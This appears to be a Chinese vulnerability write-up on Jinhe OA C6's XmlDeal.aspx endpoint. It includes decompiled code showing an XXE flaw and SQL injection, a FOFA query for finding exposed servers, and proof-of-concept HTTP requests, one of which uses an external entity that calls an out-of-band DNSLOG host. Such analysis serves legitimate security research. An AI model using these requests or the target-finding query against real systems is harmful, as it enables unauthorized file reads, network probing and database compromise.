漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 XmlDeal.aspx 接口处存在XXE漏洞，未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息，进一步利用可导致服务器失陷。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
XXE漏洞
直接根据 XmlDeal.aspx 在 bin 目录下查找 JHSoft.Web.Blog.dll 将其进行反编译后找到 XmlDeal 的处理逻辑
private StringBuilder sb = new StringBuilder();
protected HtmlForm Form1;
protected void Page_Load(object sender, EventArgs e)
{
string str = "";
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(this.Request.InputStream);
switch (xmlDocument.DocumentElement.SelectSingleNode("//root//DealFlag").InnerText.Trim())
{
case "BlogPersonal":
str = this.DealBlogPersonal(xmlDocument);
break;
case "BlogPhotoListAddReview":
str = this.BlogPhotoListAddReview(xmlDocument);
break;
case "BlogPhotoDelPhoto":
str = this.BlogPhotoDelPhoto(xmlDocument);
break;
case "BlogPhotoListDelReview":
str = this.BlogPhotoListDelReview(xmlDocument);
break;
case "BlogIndexSetSession":
str = this.BlogSetSession(xmlDocument);
break;
case "BlogIndexSeachBlog":
str = this.BlogSeachBlog(xmlDocument);
break;
case "BlogIndexShowMore":
str = this.BlogShowMore(xmlDocument);
break;
case "BlogPhotoListLoadReview":
str = this.BlogPhotoListLoadReview(xmlDocument);
break;
case "BlogPhotoListGetReviewCount":
str = this.BlogPhotoListGetReviewCount(xmlDocument);
break;
case "BlogPhotoListGetPhotoId":
str = this.BlogPhotoListGetPhotoId(xmlDocument);
break;
case "UpLoadDialogDelTempDirectory":
str = this.UpLoadDialogDelTempDirectory(xmlDocument);
break;
case "BlogGetEncrypt":
str = this.BlogGetEncrypt(xmlDocument);
break;
case "AddKM":
str = this.BlogGetContent(xmlDocument);
break;
case "AddType":
str = this.BlogGetTypeName(xmlDocument);
break;
}
this.Response.Write(str);
this.Response.End();
}
请求内容直接使 XmlDocument.Load 解析，造成XXE漏洞。
SQL注入漏洞
BlogPhotoDelPhoto
当DealFlag=BlogPhotoDelPhoto时
private string BlogPhotoDelPhoto(XmlDocument xmlDocument)
{
XmlNode xmlNode = xmlDocument.DocumentElement.SelectSingleNode("//root//imgSrc");
xmlDocument.DocumentElement.SelectSingleNode("//root//strUserCode");
string str1 = !string.op_Equality(this.Request.ApplicationPath, "/") ? this.Request.ApplicationPath + "/JHSoft.Web.Blog/" : this.Request.ApplicationPath;
string lower1 = xmlNode.InnerText.ToLower();
string lower2 = str1.ToLower();
string[] strArray = lower1.Replace(lower2, ",").Split(new char[1]
{
','
});
bool flag1 = false;
flag1 = new JHSoft.Blog.Blog().delPhoto(lower2 + strArray[1]);
跟进delPhoto方法
public bool delPhoto(string strSrcImg)
{
bool flag = true;
string QueryString = $"update BlogPhoto set DelFlag=1 where photoPath = '{strSrcImg}'";
DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
dbOperator.ExecSQLReInt(QueryString);
if (dbOperator.IsError)
{
this.StrErrorMessage = dbOperator.ErrorMessage;
flag = false;
}
return flag;
}
非常明显的SQL拼接导致SQL注入漏洞产生，但是需要注意imgSrc需要满足以下条件
- 包含当前请求的路径，即
/c6/Jhsoft.Web.blog/
- sql注入payload位置在包含路径后，才会在替换后使用逗号分割的第二个位置拼接进SQL语句
其他几个位置
BlogSetSession
任意文件夹删除
硬编码的DES密钥
漏洞复现
XXE
POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>
在DNSLOG平台成功收到HTTP请求
SQL
POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml
<root>
<DealFlag>BlogPhotoDelPhoto</DealFlag>
<imgSrc>SQLI_POC</imgSrc>
<strUserCode>admin</strUserCode>
</root>
成功延时 4 秒
本站文章均为原创，未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
登录
